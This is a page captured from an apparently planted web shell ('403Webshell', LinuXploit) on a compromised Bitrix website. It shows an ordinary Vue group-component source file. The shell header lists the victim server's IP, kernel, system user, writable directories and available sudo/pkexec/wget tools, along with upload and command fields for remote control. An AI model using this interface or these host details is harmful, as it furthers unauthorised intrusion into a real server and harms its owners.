403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/entity-catalog/src/components/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/entity-catalog/src/components/group.js
import { Type } from 'main.core';
import { GroupData } from '@/types/group';

import '../css/group.css';

export const Group = {
	emits: ['selected', 'unselected'],

	name: 'ui-entity-catalog-group',
	props: {
		groupData: {
			type: GroupData,
			required: true,
		},
	},
	computed: {
		hasIcon(): boolean
		{
			return Type.isStringFilled(this.groupData.icon);
		},
	},
	methods: {
		handleClick()
		{
			if (this.groupData.deselectable)
			{
				this.$emit(!this.groupData.selected ? 'selected' : 'unselected', this.groupData);
			}
			else if (!this.groupData.selected)
			{
				this.$emit('selected', this.groupData);
			}
		},
	},
	template: `
		<slot name="group" v-bind:groupData="groupData" v-bind:handleClick="handleClick">
			<li 
				:class="{
					'ui-entity-catalog__menu_item': true,
					'--active': groupData.selected,
					'--disabled': groupData.disabled
				}"
				@click="handleClick"
			>
				<span class="ui-entity-catalog__menu_item-icon" v-if="hasIcon" v-html="groupData.icon"/>
				<span class="ui-entity-catalog__menu_item-text">{{ groupData.name }}</span>
			</li>
		</slot>
	`,
};

Youez - 2016 - github.com/yon3zu
LinuXploit